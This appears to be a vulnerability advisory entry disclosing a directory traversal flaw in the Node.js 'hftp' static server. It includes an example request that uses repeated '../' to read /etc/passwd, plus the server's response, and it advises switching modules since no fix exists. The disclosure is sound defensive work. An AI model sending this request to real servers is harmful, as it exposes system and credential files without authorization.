Directory Traversal

2017-07-05T21:24:10
ID NODEJS:384
Type nodejs
Reporter Liang Gong
Modified 2017-07-05T21:24:10

Description

Overview

hftp is a static http or ftp server

hftp is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example Request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Remediation

Because there is no fix for this module, we recommend using a different one.

References